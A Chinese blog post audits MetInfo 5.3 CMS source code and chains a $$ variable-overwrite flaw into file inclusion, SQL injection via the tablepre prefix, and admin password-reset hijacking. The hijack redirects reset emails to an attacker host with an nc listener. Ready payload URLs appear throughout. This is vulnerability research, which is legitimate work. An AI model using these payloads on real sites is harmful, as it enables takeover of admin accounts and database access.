• metinfo_5.3变量覆盖引发的一系列问题


      metinfo_5.3中存在一个很经典的$$型变量覆盖,这种变量覆盖在之前的博客中提到过,今天的博客围绕这个变量覆盖漏洞结合这款CMS的其他功能进行漏洞利用。

    变量覆盖+文件包含

      拿到这个CMS首先还是浏览一下目录结构,简单浏览之后进入/index.php,其中

    $index="index";
    require_once 'include/common.inc.php';
    require_once 'include/head.php';

      这里出现了require_once函数,可能会出现文件包含漏洞,于是跟读include/commen.inc.php,里面有一段代码

    foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
        foreach($$_request as $_key => $_value) {
            $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
            $_M['form'][$_key] = daddslashes($_value,0,0,1);
        }
    }

      这一段就是经典的$$引发的变量覆盖案例,使用$_request来获取用户请求的信息。截止到目前我们发现了/index.php疑似文件包含漏洞、/include/commen.inc.php疑似变量覆盖漏洞,但是二者还没有办法结合利用,无奈之下使用了seay的自动检测功能,检测结果的第一条为/index.php的疑似文件包含,第二条是about/index.php的疑似文件包含,跟读/about/index.php寻找突破点:

    <?php
    # MetInfo Enterprise Content Management System 
    # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
    $filpy = basename(dirname(__FILE__));
    $fmodule=1;
    require_once '../include/module.php';
    require_once $module;
    # This program is an open source system, commercial use, please consciously to purchase commercial license.
    # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
    ?>

      这里使用了require_once函数包含了/include/module.php文件,继续跟读,这个文件的开头为:

    <?php
    if(!defined('IN_MET'))require_once 'common.inc.php';
    $modulefname[1] = array(0=>'show.php',1=>'show.php',2=>$met_column);
    $modulefname[2] = array(0=>'news.php',1=>'shownews.php',2=>$met_news);
    $modulefname[3] = array(0=>'product.php',1=>'showproduct.php',2=>$met_product);
    $modulefname[4] = array(0=>'download.php',1=>'showdownload.php',2=>$met_download);
    $modulefname[5] = array(0=>'img.php',1=>'showimg.php',2=>$met_img);
    $modulefname[6] = array(0=>'job.php',1=>'showjob.php',2=>$met_job);
    $modulefname[8] = array(0=>'feedback.php',1=>'feedback.php',2=>$met_column);
    $modulefname[100] = array(0=>'product.php',1=>'showproduct.php',2=>$met_product);
    $modulefname[101] = array(0=>'img.php',1=>'imgproduct.php',2=>$met_img);

      可以发现这个文件又包含了common.inc.php文件。理顺一下,/about/index.php包含了/include/module.php,/include/module.php又包含了/include/common.inc.php,/include/common.inc.php存在变量覆盖漏洞。这样我们就知道切入点是/about/index.php文件了,这个文件的有效代码只有四行,却出现了两个未知变量:$module,$fmodule。我们可以用$fmodule变量通过两次文件包含,使用$_request来获取GET传递的新$fmodule值实现变量覆盖。

      为了实现上述思路,我们回到/include/module.php找$module和$fmodule的关系:

     1 $module='';
     2 if($fmodule!=7){
     3     if($mdle==100)$mdle=3;
     4     if($mdle==101)$mdle=5;
     5     $module = $modulefname[$mdle][$mdtp];
     6     if($module==NULL){okinfo('../404.html');exit();}
     7     if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
     8         if($fmodule==$mdle){
     9             $module = $modulefname[$mdle][$mdtp];
    10         }
    11         else{
    12             okinfo('../404.html');exit();
    13         }
    14     }
    15     else{
    16         if($list){
    17             okinfo('../404.html');exit();
    18         }
    19         else{
    20             $module = $modulefname[$mdle][$mdtp];
    21         }
    22     }
    23     if($mdle==8){
    24     if(!$id)$id=$class1;
    25     $module = '../feedback/index.php';
    26     }

      根据上面程序的逻辑,我们可以发现当$fmodule不为7时,不覆盖;当$fmodule为7时,变量覆盖。到此已经确定了变量覆盖的存在,可以结合文件包含漏洞进行利用,在/upload中上传phpinfo,payload:

    http://127.0.0.1/metinfo-5.3/about/?fmodule=7&module=../upload/phpinfo.php

    变量覆盖+SQL注入

      问题还是出现在include/commen.inc.php中:

     1 if(@file_exists('../app/app/shop/include/product.class.php') && @$cmodule){
     2     require_once '../app/app/shop/include/product.class.php';
     3     if($gotonew == 1){
     4         @define('M_NAME', 'shop');
     5         @define('M_MODULE', 'web');
     6         @define('M_CLASS', @$cmodule);
     7         @define('M_ACTION', 'doindex');
     8         require_once '../app/system/entrance.php';
     9         die();
    10     }
    11 }
    12 header("Content-type: text/html;charset=utf-8");
    13 error_reporting(E_ERROR | E_PARSE);
    14 @set_time_limit(0);
    15 $HeaderTime=time();
    16 define('ROOTPATH', substr(dirname(__FILE__), 0, -7));
    17 PHP_VERSION >= '5.1' && date_default_timezone_set('Asia/Shanghai');
    18 session_cache_limiter('private, must-revalidate'); 
    19 @ini_set('session.auto_start',0); 
    20 if(PHP_VERSION < '4.1.0') {
    21     $_GET         = &$HTTP_GET_VARS;
    22     $_POST        = &$HTTP_POST_VARS;
    23     $_COOKIE      = &$HTTP_COOKIE_VARS;
    24     $_SERVER      = &$HTTP_SERVER_VARS;
    25     $_ENV         = &$HTTP_ENV_VARS;
    26     $_FILES       = &$HTTP_POST_FILES;
    27 }
    28 require_once ROOTPATH.'include/mysql_class.php';
    29 define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
    30 isset($_REQUEST['GLOBALS']) && exit('Access Error');
    31 require_once ROOTPATH.'include/global.func.php';
    32 foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    33     foreach($$_request as $_key => $_value) {
    34         $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
    35         $_M['form'][$_key] = daddslashes($_value,0,0,1);
    36     }
    37 }
    38 $met_cookie=array();
    39 $settings=array();
    40 $db_settings=array();
    41 $db_settings = parse_ini_file(ROOTPATH.'config/config_db.php');
    42 @extract($db_settings);
    43 $db = new dbmysql();
    44 $db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name);
    45 $query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";
    46 $mettable=$db->get_one($query);
    47 $mettables=explode('|',$mettable[value]);
    48 foreach($mettables as $key=>$val){
    49     $tablename='met_'.$val;    
    50     $$tablename=$tablepre.$val;
    51     $_M['table'][$val] = $tablepre.$val;
    52 }

      32-35行依然是变量覆盖漏洞的核心,在这之前出现的变量都有可能会被覆盖。第45行出现一个带有$tablepre变量的SQL语句:

    $query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";

      如果能把tablepre覆盖掉那就可以实现SQL注入,例如我们构造一个payload:

    http://127.0.0.1/metinfo-5.3/include/common.inc.php?tablepre=mysql.user limit 1 #

      SQL语句就变成了:

    $query="select * from mysql.user limit 1 # config where name='met_tablename' and lang='metinfo'";

      从而实现了SQL注入(虽然没有回显)。

     变量覆盖+管理员密码修改

      这个变量覆盖漏洞出现在admin/admin/getpassword.php,下面贴一大堆代码:

      1 switch($action){
      2     case 'next1':
      3         if($abt_type==1){
      4             $description=$lang_password2;
      5             $title=$lang_password3;
      6         }else{
      7             $description=$lang_password4;
      8             $title=$lang_password5;
      9         }
     10     break;
     11     case 'next2':
     12         if($abt_type==1){
     13             die();
     14             if($met_smspass){
     15                 $admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_id='$admin_mobile' and usertype='3'");
     16                 if($admin_list && $admin_list['admin_mobile']=='')okinfo('../admin/getpassword.php',$lang_password6);
     17                 if(!$admin_list){
     18                     if(!preg_match("/^(((d{2,3}))|(d{3}-))?1(3|5|8|9)d{9}$/",$admin_mobile))okinfo('../admin/getpassword.php',$lang_password7);
     19                     $admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_mobile='$admin_mobile' and usertype='3'");
     20                     if(!$admin_list)okinfo('../admin/getpassword.php',$lang_password8);
     21                 }
     22                 $code=generate_password(6);
     23                 $nber=generate_password(2);
     24                 $cnde=$code.'-'.$nber.'-'.$admin_list['admin_id'];
     25                 /*发送短信*/
     26                 require_once ROOTPATH.'include/export.func.php';
     27                 $domain = strdomain($met_weburl);
     28                 $message="$lang_password9{$code}$lang_password10{$nber}[{$domain}]";
     29                 $smsok=sendsms($admin_list['admin_mobile'],$message,5);
     30                 if($smsok=='SUCCESS'){
     31                     $mobile = substr($admin_list['admin_mobile'],0,3).'****'.substr($admin_list['admin_mobile'],7,10);
     32                     $description=$lang_password11.'<br/><span class="color999">'.$lang_password12.'</span>';
     33                     $query = "delete from $met_otherinfo where lang = 'met_cnde'";                  
     34                     $db->query($query);
     35                     /*写入数据库*/
     36                     $query = "INSERT INTO $met_otherinfo SET 
     37                         authpass = '$cnde',
     38                         lang     = 'met_cnde'";                  
     39                     $db->query($query);
     40                 }else{
     41                     okinfo('getpassword.php',sedsmserrtype($smsok));
     42                 }
     43             }else{
     44                 okinfo('getpassword.php',$lang_password13);
     45             }
     46         }else{
     47             $admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_id='$admin_mobile' and usertype='3'");
     48             if($admin_list && $admin_list['admin_email']=='')okinfo('../admin/getpassword.php',$lang_password14);
     49             if(!$admin_list){
     50                 if(!is_email($admin_mobile))okinfo('../admin/getpassword.php',$lang_password7);
     51                 $admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_email='$admin_mobile' and usertype='3'");
     52                 if(!$admin_list)okinfo('../admin/getpassword.php',$lang_password14);
     53             }
     54             if($admin_list){
     55                 $met_fd_usename=$met_fd_usename;
     56                 $met_fd_fromname=$met_fd_fromname;
     57                 $met_fd_password=$met_fd_password;
     58                 $met_fd_smtp=$met_fd_smtp;
     59                 $met_webname=$met_webname;
     60                 $met_weburl=$met_weburl;
     61                 $adminfile=$url_array[count($url_array)-2];
     62                 $from=$met_fd_usename;
     63                 $fromname=$met_fd_fromname;
     64                 $to=$admin_list['admin_email'];
     65                 $usename=$met_fd_usename;
     66                 $usepassword=$met_fd_password;
     67                 $smtp=$met_fd_smtp;
     68                 $title=$met_webname.$lang_getNotice;
     69                 $x = md5($admin_list[admin_id].'+'.$admin_list[admin_pass]);
     70                 $outime=3600*24*3;
     71                 $String=authcode($admin_list[admin_id].".".$x,'ENCODE', $met_webkeys, $outime);
     72                 $String=urlencode($String);
     73                 $mailurl= $met_weburl.$adminfile.'/admin/getpassword.php?p='.$String;
     74                 $body ="<style type='text/css'>
    ";
     75                 $body .="#metinfo{ padding:10px; color:#555; font-size:12px; line-height:1.8;}
    ";
     76                 $body .="#metinfo .logo{ border-bottom:1px dotted #333; padding-bottom:5px;}
    ";
     77                 $body .="#metinfo .logo img{ border:none;}
    ";
     78                 $body .="#metinfo .logo a{ display:block;}
    ";
     79                 $body .="#metinfo .text{ border-bottom:1px dotted #333; padding:5px 0px;}
    ";
     80                 $body .="#metinfo .text p{ margin-bottom:5px;}
    ";
     81                 $body .="#metinfo .text a{ color:#70940E;}
    ";
     82                 $body .="#metinfo .copy{ color:#BBB; padding:5px 0px;}
    ";
     83                 $body .="#metinfo .copy a{ color:#BBB; text-decoration:none; }
    ";
     84                 $body .="#metinfo .copy a:hover{ text-decoration:underline; }
    ";
     85                 $body .="#metinfo .copy b{ font-weight:normal; }
    ";
     86                 $body .="</style>
    ";
     87                 $body .="<div id='metinfo'>
    ";
     88                 if($met_agents_type<=1){
     89                     $body .="<div class='logo'><a href='$met_weburl' title='$met_webname'><img src='http://www.metinfo.cn/upload/200911/1259148297.gif' /></a></div>";
     90                 }
     91                 $body .="<div class='text'><p>".$lang_hello.$admin_name."</p><p>$lang_getTip1</p>";
     92                 $body .="<p><a href='$mailurl'>$mailurl</a></p>
    ";
     93                 if($met_agents_type<=1){
     94                     $body .="<p>$lang_getTip2</p></div><div class='copy'>$foot</a></div>";
     95                 }
     96                 require_once ROOTPATH.'include/jmail.php';
     97                 $sendMail=jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp);
     98                 if($sendMail==0){
     99                     require_once ROOTPATH.'include/export.func.php';
    100                     $post=array('to'=>$to,'title'=>$title,'body'=>$body);
    101                     $met_file='/passwordmail.php';
    102                     $sendMail=curl_post($post,30);
    103                     if($sendMail=='nohost')$sendMail=0;    
    104                 }
    105                 
    106                 $text=$sendMail?$lang_getTip3.$lang_memberEmail.':'.$admin_list['admin_email']:$lang_getTip4;
    107                 okinfo('../index.php',$text);
    108             }
    109         }

      这段代码开头的switch语句是找回密码的逻辑控制,其中next1为找回密码的方式,默认值是邮件找回,然后进行next2,在第97行利用jmailsend函数执行了发送邮件的操作,如果执行失败则用102行的curl_post函数发送邮件,我们跟读一下这个函数,该函数位于/include/export.func.php。

     1 function curl_post($post,$timeout){
     2 global $met_weburl,$met_host,$met_file;
     3 $host=$met_host;
     4 $file=$met_file;
     5     if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
     6         $curlHandle=curl_init(); 
     7         curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file); 
     8         curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
     9         curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1); 
    10         curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
    11         curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
    12         curl_setopt($curlHandle,CURLOPT_POST, 1);    
    13         curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
    14         $result=curl_exec($curlHandle); 
    15         curl_close($curlHandle); 
    16     }

      其中$post是未能成功发送的邮件内容,然后根据$met_host指定的地址将邮件内容发送过去,$met_host 在程序的值指定为app.metinfo.cn。结合上一段程序理顺一下思路:当站长自身设置的邮件服务器不起作用时先将邮件内容通过http请求发送此服务器,再由此服务器发送密码重置邮件。很明显$met_host可以导致变量覆盖,如果jmailsend函数发送失败,那变量覆盖漏洞就会被激活,可以将密码重置邮件的内容发送到我们指定的服务器。所以接下来我们的任务是让jmailsend函数失效,跟读这个函数,该函数位于/include/jmail.php中:

     1     function jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp,$repto,$repname)
     2     {
     3         global $met_fd_port,$met_fd_way;
     4         $mail             = new PHPMailer();
     5         //$mail->SMTPDebug  = 3;
     6         
     7         $mail->CharSet    = "UTF-8"; // charset
     8         $mail->Encoding   = "base64";
     9         $mail->Timeout    = 15; 
    10         $mail->IsSMTP(); // telling the class to use SMTP
    11         
    12         //system
    13         if(stripos($smtp,'.gmail.com')===false){
    14             $mail->Port       = $met_fd_port;
    15             $mail->Host       = $smtp; // SMTP server
    16             if($met_fd_way=='ssl'){
    17                 $mail->SMTPSecure = "ssl";
    18             }else{
    19                 $mail->SMTPSecure = "";
    20             }
    21         }
    22 ……
    23 ……
    24 ……
    25 if(!$mail->Send()) {
    26             $mail->SmtpClose();
    27           //return "Mailer Error: " . $mail->ErrorInfo;
    28          return false;
    29         } else {
    30             $mail->SmtpClose();
    31           //return "Message sent!";
    32           return true;
    33         }
    34     }
    35 }

      我们的目的是让这个函数返回值为false,第13行开始可以看出根据$met_fd_port指定的端口发送邮件,这里如果将这个变量覆盖掉将导致邮件发送失败。所以我们的漏洞利用思路已经明确:1.利用变量覆盖修改指定发送邮件的端口;2.利用变量覆盖修改服务器ip。

      我们先在服务器上监听80端口

    nc -lv 80

      然后抓包构造payload即可获取邮件。

  • 相关阅读:
    orioledb pg 存储引擎
    nginx ngx_http_addition_module 模块openresty content_by_lua 不能生效的原因
    Windows下Erlang和RabbitMQ下载安装教程
    [建议收藏]缓存雪崩的处理办法
    【精选】Mysql BTree和B+Tree的结构?
    RabbitMQ用户和virtual hosts的添加以及授权
    程序员增加收入的几种方法
    基于redis的keys、scan删除ttl为1的key
    全面了解Nginx主要应用场景
    很佩服的一个Google佬,离职了。。
  • 原文地址:https://www.cnblogs.com/richardlee97/p/10635148.html
Copyright © 2020-2023  润新知